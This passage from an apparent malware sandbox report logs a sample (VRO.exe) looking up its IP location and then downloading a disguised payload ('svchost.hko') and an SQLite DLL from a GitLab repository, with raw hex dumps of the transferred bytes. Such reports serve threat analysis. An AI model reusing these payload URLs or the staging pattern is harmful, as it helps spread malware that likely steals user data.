6c 20 33 22 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"status":"success","country":"United States","countryCode":"US","region":"NY","regionName":"New York","city":"New York","zip":"10123","lat":40.7128,"lon":-74.006,"timezone":"America/New_York","isp":"Level 3","org":"CenturyLink Communications, LLC","as":"AS3356 Level 3 Parent, LLC","query":"8.46.123.189"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.65.251.78	443	6948	C:\Users\user\Desktop\VRO.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 12:28:35 UTC	167	OUT	GET /hko247.black/truong/-/raw/main/svchost.hko?inline=false%06%06%06%06%06%06 HTTP/1.1 Connection: Keep-Alive User-Agent: CustomDownloader/1.0 Host: gitlab.com
2025-01-14 12:28:36 UTC	453	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:28:36 GMT Content-Type: application/octet-stream Content-Length: 26325520 Connection: close CF-Ray: 901da07429328c77-EWR CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Cache-Control: max-age=60, public, must-revalidate, stale-while-revalidate=60, stale-if-error=300, s-maxage=60 Content-Disposition: attachment ETag: "008d38021a6d8a06b6abbee841124bc2" Strict-Transport-Security: max-age=31536000
2025-01-14 12:28:36 UTC	2134	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
2025-01-14 12:28:36 UTC	502	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 69 6d 71 51 4e 70 4b 56 71 25 32 46 52 68 73 4d 69 71 37 6e 64 48 4b 4f 35 6e 6d 69 67 47 25 32 42 78 4f 64 35 59 34 49 55 50 56 46 63 5a 7a 4e 6c 44 6b 38 4a 72 41 79 4e 36 39 52 4a 51 71 48 72 6e 54 51 66 43 48 62 6d 4b 70 6c 65 5a 41 45 31 55 36 52 4f 4e 48 47 50 6a 4d 52 57 52 25 32 42 4c 35 41 53 36 70 51 41 25 32 42 62 43 76 6c 39 57 68 6a 52 4c 4e 6d 33 32 48 36 72 71 43 6d 39 44 4d 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=imqQNpKVq%2FRhsMiq7ndHKO5nmigG%2BxOd5Y4IUPVFcZzNlDk8JrAyN69RJQqHrnTQfCHbmKpleZAE1U6RONHGPjMRWR%2BL5AS6pQA%2BbCvl9WhjRLNm32H6rqCm9DM%3D"}],"group":"cf-nel","max_age":604800}NEL
2025-01-14 12:28:36 UTC	1018	IN	Data Raw: c8 47 24 4b c2 6d 90 e9 26 f8 83 44 57 cc 64 e1 8d ef 93 ba 1b 73 7f 15 3c 7e af 9b 75 2f 5d 17 34 e2 e6 20 ae 2e 2a 22 5e 79 8d 1f 23 0e 3e 0c df 1c d8 fc d1 c6 75 a9 2b cf 39 ee 0c 48 61 6c 8f cd 9e 0d 94 25 ed a4 ad 64 7c 80 a9 4f 2a 5f 1a 6d 35 2e 2a 4b 83 bf 04 41 78 9e b6 f3 ba 9e e4 7b 07 b4 de cb b0 4d 43 f6 1f 83 5f ca fb c4 4f 53 4b b3 b9 18 f7 db 50 af c4 68 03 65 4d 8e ac 4a 55 57 fa c9 3a e1 de 14 f5 58 1a 55 b7 5d 97 11 21 ff e0 ed 88 1f 32 e1 31 f9 03 97 89 ed a2 03 f7 0e 21 40 e4 a0 61 d6 4a d5 02 44 5c ee 60 1d ae 20 ab 4c 80 1d 9e 8b 5c 63 bf 0b 93 04 a6 4e b7 7c 14 8c 97 7c 7b c6 2a 23 c6 9f a5 a9 4d f9 fe b2 21 4f 1a df f5 d3 23 09 35 32 87 d7 71 d4 3a 52 7a c4 2c e8 6d 9a 1d d9 81 57 7a c4 28 f1 9b 67 e0 12 2d 75 8b d3 f1 d3 e1 c7 e1 Data Ascii: G$Km&DWds<~u/]4 ."^y#>u+9Hal%d\|O_m5.KAx{MC_OSKPheMJUW:XU]!21!@aJD\` L\cN\|\|{#M!O#52q:Rz,mWz(g-u
2025-01-14 12:28:36 UTC	1369	IN	Data Raw: 00 74 78 09 83 98 76 6e 33 45 45 51 d5 16 e1 d6 91 35 f1 d2 94 d9 f4 fc 40 f9 f8 93 ec a6 24 ae c8 41 ef e8 4c 14 fd 39 60 7b f7 c5 87 08 a3 96 f3 fe ed 97 78 3f 2c 21 a5 69 ae 9d 8f 49 fe f0 99 f8 16 f9 df a0 9d c1 74 db 0e dd 0e d4 59 06 24 b3 fa f2 38 74 f4 25 f6 26 a6 91 86 39 f3 75 33 d4 66 43 77 f3 d5 49 36 03 18 1e e8 bb fc 18 8f 23 ee d8 da 46 b2 42 68 0d 9f e4 76 31 82 6e 37 8b 28 10 5f d1 f8 30 fa af 7c af 60 93 77 d6 e2 91 fc 8b 11 2f 23 18 2d 02 10 4d 40 5e 2a 18 fc a7 ee 84 d9 5b 65 63 84 81 bc 7c 13 21 06 5b 54 e9 eb 55 df 0c cf 25 2b 10 65 4b ec b0 de df 3d 03 fe 84 0b 44 a3 72 f2 13 56 91 f6 ef d6 a8 96 94 8e 3c d9 26 90 06 1f 50 03 81 b5 cb b6 3e 97 36 47 18 d6 4e bd 93 3d 37 7a 58 92 4c 99 8f c3 72 2f e1 5d 56 94 47 27 a7 96 40 bc 69 44 Data Ascii: txvn3EEQ5@$AL9`{x?,!iItY$8t%&9u3fCwI6#FBhv1n7(_0\|`w/#-M@^*[ec\|![TU%+eK=DrV<&P>6GN=7zXLr/]VG'@iD
2025-01-14 12:28:36 UTC	1369	IN	Data Raw: c0 ff c6 06 56 d1 13 26 9a 70 8c e3 7f 5c 91 fa 47 2e 02 6e aa f0 c4 81 c9 10 29 82 3f 00 98 7d dc 7d 35 e7 6c fa 0b 84 6e da 74 b0 31 9c f7 b9 57 b3 94 49 cd a5 2e f6 46 cb a1 99 f5 1d 05 5c 20 2d 57 c0 93 55 6f 41 c1 cd 18 83 70 ab 0e 99 99 f0 d6 ba 14 fe fc 53 58 2d fa 34 74 1c dd 74 60 10 9e 25 62 f7 8a 77 0c a8 d1 e7 9c c5 ed b6 dc 17 56 33 a6 d7 f9 bc 38 68 f2 db 0c 09 40 89 eb 60 eb 65 a5 1d a0 8d b7 9d 7a 47 72 59 0b e7 dd 4e 54 74 e1 c0 a5 8d 8d e0 0d 34 7e f5 e3 7c cd df e2 13 93 da f0 0c da b7 96 27 4e 7a 1b ea a1 02 b6 db 52 47 ff de 5e e6 c0 0e 5e 76 56 c4 72 ae 48 28 eb dd 2d b9 42 b9 4c 2f 35 81 4d 02 ef cb d1 dc c5 02 ae a8 1c 6c 70 d7 12 e6 ca 3a 01 21 e0 d7 cd 2f 18 8d c4 c6 70 c0 48 f0 27 fe 72 ab 7d 82 78 33 cf 78 dd 85 67 09 fe 85 64 Data Ascii: V&p\G.n)?}}5lnt1WI.F\ -WUoApSX-4tt`%bwV38h@`ezGrYNTt4~\|'NzRG^^vVrH(-BL/5Mlp:!/pH'r}x3xgd
2025-01-14 12:28:36 UTC	340	IN	Data Raw: 99 99 81 9c 49 fa 2a cf 98 59 26 b5 6e e7 a4 96 f5 6a a9 59 8a 3c c4 80 6d 54 4b 60 a6 bc 04 05 ca be 8d 5c 52 8f e4 03 54 ca 5a 64 30 07 2e 98 46 7f 12 0d b2 6a 14 ca a3 79 47 16 7a fc d6 21 84 78 94 2e 70 0a 36 3f d8 e7 4a 82 c5 26 81 8e 0c f5 7b 83 62 77 b5 27 c5 52 b1 7b c4 e1 0c ed 84 cd cc b5 e6 ba 2a 13 3b 4e 3b 70 e3 a2 08 52 15 3a 1d 4e 34 56 c3 01 2a 2c 2c 0c d0 d2 cd e1 33 15 3a c0 f0 7f a8 09 a5 42 b7 65 b3 42 e4 8f 0e 8e eb ff 6e c5 0f 2e d7 26 18 1a 60 15 f5 f9 93 72 62 2e 0b ba ab 2b 86 d9 3f 48 97 63 b3 37 57 2b bc 1d a8 91 60 ef f4 55 28 bf 3c d9 92 92 91 64 a7 7b 0e cf ad 06 f2 ac 25 da 09 bb 93 ad 59 c8 ec c4 bb 39 ca aa 21 51 43 09 ec dd 0b 4b 6e eb a0 f4 73 ad 78 45 28 e2 6f 5b 36 a2 4a 7e 67 05 e3 92 08 26 e8 f7 32 a2 e4 48 1e 83 7c Data Ascii: IY&njY<mTK`\RTZd0.FjyGz!x.p6?J&{bw'R{;N;pR:N4V*,,3:BeBn.&`rb.+?Hc7W+`U(<d{%Y9!QCKnsxE(o[6J~g&2H\|
2025-01-14 12:28:36 UTC	1369	IN	Data Raw: 7a b7 8d 9f 79 b2 b3 2d a2 38 13 59 82 0d 5f 31 3a 41 60 50 aa 9d 21 6e 10 35 0a b1 4c b6 14 d9 0e a2 1f 91 74 fa e3 b2 b1 0d e0 ba e6 d7 21 95 b8 54 93 e8 29 7a 5e e1 5c c7 7c 17 14 38 59 e3 4e a9 19 d2 fc bf 5f 53 48 7a 0d b1 76 b3 f2 cb d0 23 4f 54 70 10 37 99 b6 2c 9a d1 4c 80 24 b7 b4 00 a1 fa 32 c6 41 e1 21 3b 89 68 d3 82 70 93 32 b4 b1 cf 49 fd 6b bb 52 ef 2a 9a f5 0f bc 8d e1 50 a6 15 a0 4c 6c 25 25 70 37 da 42 bd f2 dc 95 8b 52 f4 0c ec ce 94 70 97 dd 6f ff 24 65 b1 f2 04 aa 19 b3 14 a1 21 06 7c 26 6d 88 c4 e3 80 85 13 e5 e0 0a c4 75 19 67 34 d0 26 03 28 43 1f e7 22 d0 dc 64 aa 40 6f 04 cb ac 3c 56 52 ca ea b1 3c 74 72 d0 20 37 62 75 dd f5 a8 38 23 29 ce ed 86 ea 00 0d 4e fd 16 3c bc e9 ad 54 2e 81 86 72 6a 7a 1e 96 3f 16 df ee 1b fa a0 29 7b f4 Data Ascii: zy-8Y_1:A`P!n5Lt!T)z^\\|8YN_SHzv#OTp7,L$2A!;hp2IkR*PLl%%p7BRpo$e!\|&mug4&(C"d@o<VR<tr 7bu8#)N<T.rjz?){
2025-01-14 12:28:36 UTC	1369	IN	Data Raw: 6f 23 49 fe 0c d3 be fd e7 d2 d1 af c7 c9 1c 9a c4 de e2 8d cc d1 55 a4 c3 6a 64 27 e8 84 9b dc f3 7f 0b a4 b7 5e 93 3c 0d e5 b7 12 98 f5 e7 2f 5e ce 36 1c 1c c2 cd 69 c8 3d 31 1a 7d 9f 16 8f d8 4b 42 b0 07 a3 9a ab e5 28 a3 4c 9c 1c 1e 14 d3 31 a4 cd 62 c7 32 64 09 2d 63 06 67 75 d2 a2 58 5a 67 cf 03 82 13 14 b6 2d e0 00 f7 42 1f 3d 48 c7 0f 41 e7 a3 6d 0b 2c 3f 6f eb 64 27 ea 86 90 d7 02 46 aa 00 9d 63 2e 2c 2f 51 ba b5 a2 4f 8f 84 94 df f9 4e a6 8a a0 b1 f8 3f a3 d3 65 89 fd 5a d0 b9 0e 22 e8 78 9e 23 1c bc 10 d9 49 43 af 1e 05 f0 d4 28 27 bf 76 07 ff 53 9c b7 f6 43 b5 e5 24 4a 37 4b 19 2d 74 8d 42 19 33 ef ae e6 30 2a 26 9d aa 41 ec 43 18 d2 22 d0 1c d9 ed 3b 95 ff 78 a7 07 9b 3f 05 8f 6a fb 60 5a ac 45 c8 60 35 ab d0 e4 ce 72 cf cb cd ea cf 68 62 e9 Data Ascii: o#IUjd'^</^6i=1}KB(L1b2d-cguXZg-B=HAm,?od'Fc.,/QON?eZ"x#IC('vSC$J7K-tB30*&AC";x?j`ZE`5rhb
2025-01-14 12:28:36 UTC	1369	IN	Data Raw: 15 34 9e 50 05 44 f4 0b 12 7a a3 c8 96 8e 2a 29 52 6f 1a 50 0e a7 00 91 ea c2 b0 d9 a7 80 7f 37 94 9c 84 ee 91 1b d8 8f c5 1e e9 8b 03 fb 6c fe e1 b7 77 68 fe 83 3e cd 5f 58 df 0c cb 86 4d 81 76 6b 2f f6 42 04 a5 ae 3d 5b 5a fb eb e0 e8 ca 42 1f 52 dc 19 0c 02 b5 57 05 44 46 5f 67 52 9a 35 ef 1e bc d4 c3 e6 f0 25 c6 cb 68 61 a4 ad f3 14 e5 2d 91 28 b0 1d b7 94 63 7a 3d e0 00 47 d9 41 1c d5 25 45 bb 97 4a be 94 ee 46 b6 db 3c a6 75 06 cd f1 c8 e6 98 e9 ba ba 7d ba c9 f6 09 16 e6 21 39 7e f1 f6 fb 6e a0 fe e6 7f 8c 1f 24 43 66 50 c7 6f 86 29 63 00 4c 83 fc de f0 e2 40 de 41 a0 24 3d 20 30 ff 80 90 46 91 b1 8c cd d9 c0 15 7d f8 2d b0 6d 32 4d ec 3a a5 91 81 f9 14 96 37 d5 c2 97 14 47 d9 45 79 f9 c7 43 86 98 ea 47 32 25 5f 68 ba 46 46 28 f0 7c 3f 35 91 2e 08 Data Ascii: 4PDz*)RoP7lwh>_XMvk/B=[ZBRWDF_gR5%ha-(cz=GA%EJF<u}!9~n$CfPo)cL@A$= 0F}-m2M:7GEyCG2%_hFF(\|?5.
2025-01-14 12:28:36 UTC	1369	IN	Data Raw: 1b 33 11 75 39 b5 7e 86 bf 64 5d 0e 12 57 a8 8d 69 16 bc fb da 46 5b f1 38 02 9b 55 51 e5 ca 90 7e b6 98 f7 38 3a a4 a8 70 20 38 1c 06 f2 0b 48 cc 43 13 af 62 e6 76 50 81 2a 02 f7 c2 25 61 0f 5c d0 3c 51 02 ea 16 ab b9 29 1c 16 7f 04 6a a6 d0 da 0f 60 e1 8b 53 56 d4 f9 6f 07 3b a7 5a 5a f7 ae 1b 08 83 de c2 f7 06 98 31 00 be e4 8d eb 0a eb ec eb 95 ad 33 01 3d 5b 98 e2 a6 7f 2c 48 35 e0 01 10 39 28 cd 80 50 9a cf 4a 73 62 8e d5 ce c0 bb 79 74 50 c2 53 3b 1c 61 7c 37 f6 ba de f6 26 fd 21 eb cf 4d 4a d1 8a 28 42 81 eb 04 e9 00 f9 33 1f 0d d6 b4 35 d9 c8 4d 5d 9f e0 9c 63 b1 ed 82 3e 20 72 4e 87 c3 81 3a 23 d4 fb 0f 75 9f 8b 73 0e 81 c6 11 09 4e 6f 9b 0a 80 d0 01 4e ad df e7 0f 7f fa 7d 87 05 77 ba 26 23 58 64 e1 9c bb 76 8f b6 b8 a2 77 73 0c 67 f5 32 9a 34 Data Ascii: 3u9~d]WiF[8UQ~8:p 8HCbvP*%a\<Q)j`SVo;ZZ13=[,H59(PJsbytPS;a\|7&!MJ(B35M]c> rN:#usNoN}w&#Xdvwsg24

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	50017	172.65.251.78	443	6948	C:\Users\user\Desktop\VRO.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 12:30:36 UTC	127	OUT	GET /hko247.black/libs/-/raw/da36e8916e710628358afbbd35fc9d73b2fd41c2/e_sqlite3.dll?inline=false HTTP/1.1 Host: gitlab.com
2025-01-14 12:30:36 UTC	512	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 12:30:36 GMT Content-Type: application/octet-stream Content-Length: 1780736 Connection: close CF-Ray: 901da363fa3d43b3-EWR CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Cache-Control: max-age=3600, public, must-revalidate, stale-while-revalidate=60, stale-if-error=300, s-maxage=60 Content-Disposition: attachment; filename="e_sqlite3.dll"; filename*=UTF-8''e_sqlite3.dll ETag: "fc529fb92be2696af6fda5021785be60" Strict-Transport-Security: max-age=31536000
2025-01-14 12:30:36 UTC	2134	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 61 70 74 63 68 61 2e 6e 65 74 2f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 6e 73 2e 68 74 6d 6c 20 68 74 74 70 73 3a 2f 2f 2a 2e 7a 75 6f 72 61 2e 63 6f 6d 2f 61 70 70 73 2f 50 75 62 6c 69 63 48 6f 73 74 65 64 50 61 67 65 4c 69 74 65 2e 64 6f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 20 68 74 74 70 73 3a 2f 2f 67 69 74 6c 61 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f Data Ascii: content-security-policy: base-uri 'self'; child-src https://www.google.com/recaptcha/ https://www.recaptcha.net/ https://www.googletagmanager.com/ns.html https://*.zuora.com/apps/PublicHostedPageLite.do https://gitlab.com/admin/ https://gitlab.com/assets/
2025-01-14 12:30:36 UTC	500	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 76 76 78 67 6f 41 53 37 67 59 6f 4f 32 50 25 32 42 6d 4c 35 74 51 38 6d 4b 58 33 57 46 6d 7a 36 37 62 65 35 56 39 25 32 42 4e 4a 59 59 79 34 6b 37 43 68 56 55 56 72 6d 6f 63 39 67 71 67 79 75 6a 72 6c 63 38 71 45 73 4a 4b 73 25 32 42 41 41 37 58 47 46 72 63 64 4b 50 64 6e 76 79 62 77 59 65 39 38 59 51 38 6c 49 59 41 6b 53 68 67 75 57 56 49 6d 4d 61 4c 39 68 79 61 71 58 7a 64 55 64 6b 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vvxgoAS7gYoO2P%2BmL5tQ8mKX3WFmz67be5V9%2BNJYYy4k7ChVUVrmoc9gqgyujrlc8qEsJKs%2BAA7XGFrcdKPdnvybwYe98YQ8lIYAkShguWVImMaL9hyaqXzdUdk%3D"}],"group":"cf-nel","max_age":604800}NEL:
2025-01-14 12:30:36 UTC	961	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4e b6 df 42 0a d7 b1 11 0a d7 b1 11 0a d7 b1 11 41 af b2 10 1e d7 b1 11 41 af b4 10 99 d7 b1 11 41 af b5 10 2b d7 b1 11 41 af b0 10 09 d7 b1 11 0a d7 b0 11 83 d7 b1 11 58 a2 b4 10 2a d7 b1 11 58 a2 b5 10 04 d7 b1 11 58 a2 b2 10 00 d7 b1 11 c7 a2 b5 10 08 d7 b1 11 c7 a2 b1 10 0b d7 b1 11 c7 a2 4e 11 0b d7 b1 11 c7 a2 b3 10 0b d7 b1 11 52 69 63 68 0a d7 b1 11 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$NBAAA+AX*XXNRich
2025-01-14 12:30:36 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 89 5c 24 08 57 48 83 ec 20 48 8b 39 48 8b d9 e8 7b aa 0a 00 48 8b 4b 38 e8 82 9f 01 00 48 8b cb e8 fa 3b 01 00 83 47 58 ff 75 17 80 7f 28 00 75 11 48 8b 4f 70 48 c7 47 70 00 00 00 00 e8 fd 2d 02 00 48 8b 5c 24 30 33 c0 48 83 c4 20 5f c3 0f b6 41 08 c3 cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 20 49 8b d8 e8 32 a8 12 00 85 c0 75 1d 8d 48 08 e8 46 0f 0f 00 48 85 c0 74 10 33 c9 48 89 08 48 89 03 33 c0 48 83 c4 20 5b c3 b8 07 00 00 00 48 83 c4 20 5b c3 cc cc cc cc cc cc 48 83 ec 28 e8 77 3b 01 00 33 c0 48 83 c4 28 c3 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 20 49 Data Ascii: H\$WH H9H{HK8H;GXu(uHOpHGp-H\$03H _A@SH I2uHFHt3HH3H [H [H(w;3H(H\$Ht$WH I
2025-01-14 12:30:36 UTC	1369	IN	Data Raw: 83 fd 65 41 0f 44 ec 8b c5 eb ca cc cc cc cc cc cc cc cc cc cc cc 48 8b c4 48 89 58 10 4c 89 40 18 55 56 57 41 54 41 55 41 56 41 57 48 83 ec 60 4c 8b 29 33 ed 0f 29 70 b8 4d 8b f0 0f 29 78 a8 8b da 44 0f 29 40 98 4c 8b e1 41 ff 45 48 44 8b fd 49 63 f9 48 89 68 08 e8 19 a5 0a 00 41 89 5c 24 0c 83 fb 01 0f 85 91 01 00 00 48 8b b4 24 c0 00 00 00 48 8b 0e e8 7b af 01 00 48 8b 1e 44 8b f5 48 8d 2d 8e 85 16 00 48 8b f8 0f b7 4b 14 83 e1 3f 0f b6 04 29 83 f8 03 75 15 33 d2 48 8b cb e8 c1 d9 02 00 0f b7 43 14 83 e0 3f 0f b6 04 28 83 f8 01 74 4e 83 f8 02 75 3c 48 8b 0e 0f b7 41 14 a8 08 74 06 f2 0f 10 01 eb 1c a8 24 74 0a 0f 57 c0 f2 48 0f 2a 01 eb 0e a8 12 74 07 e8 04 9f 09 00 eb 03 0f 57 c0 0f 28 c8 48 8b cf e8 34 e7 0e 00 85 c0 74 0d 33 db 41 c6 44 24 08 01 e9 Data Ascii: eADHHXL@UVWATAUAVAWH`L)3)pM)xD)@LAEHDIcHhA\$H$H{HDH-HK?)u3HC?(tNu<HAt$tWH*tW(H4t3AD$
2025-01-14 12:30:36 UTC	1369	IN	Data Raw: c7 76 05 49 8b c3 eb 17 f2 48 0f 2c c0 eb 10 a8 12 74 68 48 83 79 08 00 74 61 e8 3e 9a 09 00 0f 57 c0 48 b9 00 00 00 00 00 00 01 00 f2 48 0f 2a c0 f2 0f 11 44 3b 08 48 3b c1 7d 13 48 b9 00 00 00 00 00 00 ff ff 48 3b c1 0f 8f b3 00 00 00 8b 44 3b 04 83 f8 43 75 0d c7 44 3b 04 42 00 00 00 e9 9d 00 00 00 83 f8 45 0f 85 94 00 00 00 c7 44 3b 04 44 00 00 00 e9 87 00 00 00 48 c7 44 3b 08 00 00 00 00 e9 79 00 00 00 83 fa 02 75 48 4b 8b 0c f9 0f b7 41 14 a8 08 74 0c f2 0f 10 01 f2 0f 11 44 3b 08 eb 5c a8 24 74 10 0f 57 c0 f2 48 0f 2a 01 f2 0f 11 44 3b 08 eb 48 a8 12 74 0d e8 ca 99 09 00 f2 0f 11 44 3b 08 eb 37 f2 0f 11 74 3b 08 0f 28 c6 eb 2c 48 c7 44 3b 08 00 00 00 00 83 fa 05 75 0a c7 44 3b 04 40 00 00 00 eb 14 33 c0 41 80 e8 42 41 80 f8 01 0f 97 c0 83 c0 3f 89 Data Ascii: vIH,thHyta>WHHD;H;}HH;D;CuD;BED;DHD;yuHKAtD;\$tWHD;HtD;7t;(,HD;uD;@3ABA?
2025-01-14 12:30:36 UTC	1369	IN	Data Raw: 43 40 33 c0 48 8b 4c 24 50 48 33 cc e8 e3 9a 14 00 4c 8d 5c 24 60 49 8b 5b 30 49 8b 6b 40 49 8b 73 48 49 8b e3 41 5f 41 5e 41 5d 41 5c 5f c3 90 96 1e 00 00 9d 1e 00 00 a4 1e 00 00 a8 1e 00 00 af 1e 00 00 b3 1e 00 00 e3 1e 00 00 00 06 01 06 06 06 02 06 06 06 06 06 06 06 03 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 04 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 05 cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 20 49 8b f0 48 8b da 8b f9 e8 24 98 12 00 85 c0 0f 85 22 01 00 00 b9 88 00 00 00 e8 32 ff 0e 00 4c 8b c8 48 85 c0 0f 84 0c 01 00 00 0f 57 c0 33 c0 41 0f 11 01 41 0f 11 41 10 41 0f 11 41 20 41 0f 11 41 30 41 0f 11 41 40 41 0f 11 41 50 41 0f 11 41 60 41 0f 11 41 70 49 89 81 80 00 Data Ascii: C@3HL$PH3L\$`I[0Ik@IsHIA_A^A]A\_H\$Ht$WH IH$"2LHW3AAAAA AA0AA@AAPAA`AApI
2025-01-14 12:30:36 UTC	1369	IN	Data Raw: 8b 8c 24 80 00 00 00 48 89 01 eb 30 48 8b 8c 24 88 00 00 00 48 8d 15 20 b9 16 00 4c 8b c3 e8 18 1c 0d 00 bb 01 00 00 00 48 8b 4c 24 28 48 85 c9 74 0a 49 8b 45 10 ff 15 97 1e 16 00 49 8b ce e8 b7 26 01 00 4c 8b 7c 24 30 8b c3 4c 8b 64 24 78 48 8b 7c 24 70 48 8b 6c 24 60 48 83 c4 38 41 5e 41 5d 5e 5b c3 cc cc cc cc cc cc 40 53 48 83 ec 20 48 8b 41 18 48 8b d9 48 8b 49 20 48 8b 40 10 ff 15 4d 1e 16 00 48 8b cb e8 6d 26 01 00 33 c0 48 83 c4 20 5b c3 cc cc cc cc cc 44 8b 02 33 c9 45 85 c0 7e 24 48 8b 42 08 48 83 c0 04 80 78 01 00 74 0b 83 78 fc 00 75 05 80 38 02 74 15 ff c1 48 83 c0 0c 41 3b c8 7c e4 c7 42 28 00 00 00 00 33 c0 c3 48 8b 42 20 48 63 c9 c7 42 28 01 00 00 00 c7 04 c8 01 00 00 00 48 8b 42 20 c6 44 c8 04 01 48 b8 00 00 00 00 00 00 f0 3f 48 89 42 40 Data Ascii: $H0H$H LHL$(HtIEI&L\|$0Ld$xH\|$pHl$`H8A^A]^[@SH HAHHI H@MHm&3H [D3E~$HBHxtxu8tHA;\|B(3HB HcB(HB DH?HB@
